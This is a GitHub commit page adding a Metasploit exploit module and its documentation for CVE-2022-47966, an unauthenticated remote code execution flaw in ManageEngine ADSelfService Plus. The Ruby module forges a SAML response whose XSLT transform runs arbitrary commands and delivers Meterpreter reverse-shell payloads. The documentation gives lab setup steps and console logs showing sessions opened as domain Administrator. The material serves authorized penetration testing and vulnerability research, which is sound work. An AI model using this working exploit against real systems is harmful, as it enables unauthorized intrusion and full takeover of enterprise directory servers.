-
Notifications
You must be signed in to change notification settings - Fork 13.8k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #17556, ManageEngine ADSelfService Plus RCE (CVE-2022-47966)
Merge branch 'land-17556' into upstream-master
- Loading branch information
Showing
2 changed files
with
351 additions
and
0 deletions.
There are no files selected for viewing
151 changes: 151 additions & 0 deletions
151
...s/exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,151 @@ | ||
## Vulnerable Application | ||
|
||
This exploits an unauthenticated remote code execution vulnerability that | ||
affects Zoho ManageEngine ADSelfService Plus versions 6210 and below | ||
(CVE-2022-47966). Due to a dependency to an outdated library (Apache Santuario | ||
version 1.4.1), it is possible to execute arbitrary code by providing a crafted | ||
`samlResponse` XML to the ADSelfService Plus SAML endpoint. Note that the target | ||
is only vulnerable if it has been configured with SAML-based SSO at least once | ||
in the past, regardless of the current SAML-based SSO status. | ||
|
||
|
||
## Installation | ||
|
||
### SAML 2.0 Identity Provider | ||
|
||
If you don't have an already SAML 2.0 Identity Provider (IdP), you can use this | ||
free one for testing: https://mocksaml.com/. Download the Metadata file and | ||
take note of the Entity ID URL (`https://saml.example.com/entityid`). | ||
|
||
### Download the installers | ||
|
||
Go to https://archives.manageengine.com/, fill the form with any data and | ||
select ADSelfService Plus product with any version (e.g. `6210`). You can then | ||
have access to all the versions and platform installers. | ||
|
||
### Windows | ||
|
||
This host will need to be part of a domain. | ||
1. Launch the Windows installer and select all the default options by clicking | ||
`Next` (you can skip the Registration for Technical Support part, it is | ||
optional). When the installation is done, unselect the two options `Yes, I | ||
want to view readme file` and `Start ADSelfService Plus in console mode` and | ||
click `Finish`. | ||
1. Go to the Start menu, select `ADSelfService Plus` and click `Install | ||
ADSelfService Plus as Service`. | ||
1. Go to the Start menu again, select `ADSelfService Plus` and click `Start | ||
ADSelfService Plus`. This will start a browser and get you to the login | ||
page. | ||
|
||
### Enable SAML 2.0 SSO | ||
|
||
1. Go to `http://<hostname>:8888` | ||
1. Login with the default Administrator credentials (`admin`:`admin`). | ||
1. Fill and set up the mandatory Security Questions and click `Next`. | ||
1. Click on `Admin` in the navigation bar, then `Product Settings` and `Connection`. | ||
1. Select `ADSelfService Plus Port [https]` and click on `Apply SSL Certificate`. | ||
1. Select `Generate Certificate`, fill the mandatory fields and click on | ||
`Generate & Apply Self-Signed Certificate`. | ||
1. Click on `Update Access URL` in the banner that appears immediately after | ||
the SSL certificate has been applied. | ||
1. Select `HTTPS` and change the default port to 9251. The Server Name should | ||
already be the system hostname. Click `Save`. | ||
1. Click again on `Admin` in the navigation bar, then `Customize` and `Login | ||
Settings`. In the main panel `General` tab, check the `Hide self-service | ||
admin login` checkbox, close the notification window and click `Save`. | ||
1. Select the `Single Sign-On` tab and check the `Enable SSO` checkbox. | ||
1. Select SAML Authentication, choose `Custom SAML` in the `Select IdP` | ||
dropdown menu. Enter any name in `IdP Name` and upload the Metadata file you | ||
get from the IdP. | ||
1. Click `Save`. | ||
|
||
At this point you will need to take note of the URL (Recipient or Issuer URL | ||
they should be the same). Its format is | ||
`https://<hostname>:9251/samlLogin/<32-digit id>`. The ID will be used by the | ||
module (see the next section). | ||
|
||
Finally, restart the server: go to the Start menu again, select `ADSelfService | ||
Plus` and click `Stop ADSelfService Plus` and then `Start ADSelfService Plus`. | ||
This should get you to the updated URL the HTTPS one, port 9251. | ||
|
||
|
||
## Verification Steps | ||
|
||
1. Start msfconsole | ||
1. Do: `use multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966` | ||
1. Do: `exploit rhosts=<remote host IP> lhost=<local host IP> guid=<the ID from the Enable SAML 2.0 SSO section> issuer_url=<Entity ID URL from the IdP>` | ||
1. You should get a shell | ||
1. Also test with the other target | ||
|
||
|
||
## Options | ||
|
||
### TARGETURI | ||
The ADSelfService Plus SAML endpoint URL. Set to `/samlLogin` by default. | ||
|
||
### GUID | ||
The SAML endpoint GUID you got from the Admin page (see the `Enable SAML 2.0 | ||
SSO` section). | ||
|
||
### ISSUER_URL | ||
The Issuer URL used by the Identity Provider which has been configured as the | ||
SAML authentication provider for the target server. | ||
|
||
### RELAY_STATE | ||
The Relay State URL. This is optional and is automatically set up by the module | ||
by default (`http(s)://<rhost>:<rport>/samlLogin/LoginAuth`). | ||
|
||
|
||
## Scenarios | ||
|
||
## Windows 2019 - Target 0 (Windows Command) | ||
``` | ||
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > exploit rhosts=192.168.100.107 lhost=192.168.100.1 guid=e699eba710a6643f561a5f24ce3df0be1e1b5674 issuer_url=https://saml.example.com/entityid | ||
[*] Started reverse TCP handler on 192.168.100.1:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[!] The service is running, but could not be validated. | ||
[*] Sending stage (175686 bytes) to 192.168.100.107 | ||
[*] Meterpreter session 7 opened (192.168.100.1:4444 -> 192.168.100.107:50225) at 2023-01-26 21:42:18 +0100 | ||
meterpreter > sysinfo | ||
Computer : NEWDC01 | ||
OS : Windows 2016+ (10.0 Build 17763). | ||
Architecture : x64 | ||
System Language : en_US | ||
Domain : NEWLAB | ||
Logged On Users : 8 | ||
Meterpreter : x86/windows | ||
meterpreter > getuid | ||
Server username: NEWLAB\Administrator | ||
``` | ||
|
||
## Windows 2019 - Target 1 (Windows EXE Dropper) | ||
``` | ||
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > exploit rhosts=192.168.100.107 lhost=192.168.100.1 guid=e699eba710a6643f561a5f24ce3df0be1e1b5674 issuer_url=https://saml.example.com/entityid | ||
[*] Started reverse TCP handler on 192.168.100.1:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[!] The service is running, but could not be validated. | ||
[*] Command Stager progress - 17.01% done (2046/12025 bytes) | ||
[*] Command Stager progress - 34.03% done (4092/12025 bytes) | ||
[*] Command Stager progress - 51.04% done (6138/12025 bytes) | ||
[*] Command Stager progress - 68.06% done (8184/12025 bytes) | ||
[*] Command Stager progress - 84.24% done (10130/12025 bytes) | ||
[*] Sending stage (200774 bytes) to 192.168.100.107 | ||
[*] Command Stager progress - 100.00% done (12025/12025 bytes) | ||
[*] Meterpreter session 8 opened (192.168.100.1:4444 -> 192.168.100.107:50227) at 2023-01-26 21:42:49 +0100 | ||
meterpreter > sysinfo | ||
Computer : NEWDC01 | ||
OS : Windows 2016+ (10.0 Build 17763). | ||
Architecture : x64 | ||
System Language : en_US | ||
Domain : NEWLAB | ||
Logged On Users : 8 | ||
Meterpreter : x64/windows | ||
meterpreter > getuid | ||
Server username: NEWLAB\Administrator | ||
``` | ||
|
||
|
200 changes: 200 additions & 0 deletions
200
modules/exploits/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,200 @@ | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
|
||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::CmdStager | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'ManageEngine ADSelfService Plus Unauthenticated SAML RCE', | ||
'Description' => %q{ | ||
This exploits an unauthenticated remote code execution vulnerability | ||
that affects Zoho ManageEngine AdSelfService Plus versions 6210 and | ||
below (CVE-2022-47966). Due to a dependency to an outdated library | ||
(Apache Santuario version 1.4.1), it is possible to execute arbitrary | ||
code by providing a crafted `samlResponse` XML to the ADSelfService Plus | ||
SAML endpoint. Note that the target is only vulnerable if it has been | ||
configured with SAML-based SSO at least once in the past, regardless of | ||
the current SAML-based SSO status. | ||
}, | ||
'Author' => [ | ||
'Khoa Dinh', # Original research | ||
'horizon3ai', # PoC | ||
'Christophe De La Fuente' # Metasploit module | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => [ | ||
['CVE', '2022-47966'], | ||
['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'], | ||
['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'], | ||
['URL', 'https://github.com/horizon3ai/CVE-2022-47966'], | ||
['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis'] | ||
], | ||
'Platform' => ['win'], | ||
'Payload' => { | ||
'BadChars' => "\x27" | ||
}, | ||
'Targets' => [ | ||
[ | ||
'Windows EXE Dropper', | ||
{ | ||
'Platform' => 'win', | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'Type' => :windows_dropper, | ||
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' } | ||
} | ||
], | ||
[ | ||
'Windows Command', | ||
{ | ||
'Platform' => 'win', | ||
'Arch' => ARCH_CMD, | ||
'Type' => :windows_command, | ||
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' } | ||
} | ||
] | ||
], | ||
'DefaultOptions' => { | ||
'RPORT' => 9251, | ||
'SSL' => true | ||
}, | ||
'DefaultTarget' => 1, | ||
'DisclosureDate' => '2023-01-10', | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE,], | ||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], | ||
'Reliability' => [REPEATABLE_SESSION] | ||
}, | ||
'Privileged' => true | ||
) | ||
) | ||
|
||
register_options([ | ||
OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/samlLogin' ]), | ||
OptString.new('GUID', [ true, 'The SAML endpoint GUID' ]), | ||
OptString.new('ISSUER_URL', [ true, 'The Issuer URL used by the Identity Provider which has been configured as the SAML authentication provider for the target server' ]), | ||
OptString.new('RELAY_STATE', [ false, 'The Relay State. Default is "http(s)://<rhost>:<rport>/samlLogin/LoginAuth"' ]) | ||
]) | ||
end | ||
|
||
def check | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID']) | ||
) | ||
return CheckCode::Unknown unless res | ||
|
||
return CheckCode::Safe unless res.code == 200 | ||
|
||
product = res.get_html_document.xpath('//title').first&.text | ||
unless product == 'ADSelfService Plus' | ||
return CheckCode::Safe("This is not ManageEngine ADSelfService Plus (#{product})") | ||
end | ||
|
||
CheckCode::Detected | ||
end | ||
|
||
def encode_begin(real_payload, reqs) | ||
super | ||
|
||
reqs['EncapsulationRoutine'] = proc do |_reqs, raw| | ||
raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw | ||
end | ||
end | ||
|
||
def exploit | ||
case target['Type'] | ||
when :windows_command | ||
execute_command(payload.encoded) | ||
when :windows_dropper | ||
execute_cmdstager | ||
end | ||
end | ||
|
||
def execute_command(cmd, _opts = {}) | ||
if target['Type'] == :windows_dropper | ||
cmd = "cmd /c #{cmd}" | ||
end | ||
cmd = cmd.encode(xml: :attr).gsub('"', '') | ||
|
||
assertion_id = "_#{SecureRandom.uuid}" | ||
# Randomize variable names and make sure they are all different using a Set | ||
vars = Set.new | ||
loop do | ||
vars << Rex::Text.rand_text_alpha_lower(5..8) | ||
break unless vars.size < 3 | ||
end | ||
vars = vars.to_a | ||
saml = <<~EOS | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<samlp:Response | ||
ID="_#{SecureRandom.uuid}" | ||
InResponseTo="_#{Rex::Text.rand_text_hex(32)}" | ||
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> | ||
<samlp:Status> | ||
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> | ||
</samlp:Status> | ||
<Assertion ID="#{assertion_id}" | ||
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion"> | ||
<Issuer>#{datastore['ISSUER_URL']}</Issuer> | ||
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> | ||
<ds:SignedInfo> | ||
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> | ||
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> | ||
<ds:Reference URI="##{assertion_id}"> | ||
<ds:Transforms> | ||
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> | ||
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"> | ||
<xsl:stylesheet version="1.0" | ||
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object" | ||
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> | ||
<xsl:template match="/"> | ||
<xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/> | ||
<xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/> | ||
<xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/> | ||
<xsl:value-of select="$#{vars[2]}"/> | ||
</xsl:template> | ||
</xsl:stylesheet> | ||
</ds:Transform> | ||
</ds:Transforms> | ||
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> | ||
<ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue> | ||
</ds:Reference> | ||
</ds:SignedInfo> | ||
<ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue> | ||
<ds:KeyInfo/> | ||
</ds:Signature> | ||
</Assertion> | ||
</samlp:Response> | ||
EOS | ||
|
||
relay_state_url = datastore['RELAY_STATE'] | ||
if relay_state_url.blank? | ||
relay_state_url = "http#{'s' if datastore['SSL']}://#{rhost}:#{rport}/samlLogin/LoginAuth" | ||
end | ||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID']), | ||
'vars_get' => { | ||
'RelayState' => Rex::Text.encode_base64(relay_state_url) | ||
}, | ||
'vars_post' => { | ||
'SAMLResponse' => Rex::Text.encode_base64(saml) | ||
} | ||
}) | ||
|
||
unless res&.code == 200 | ||
fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code})") | ||
end | ||
|
||
res | ||
end | ||
|
||
end |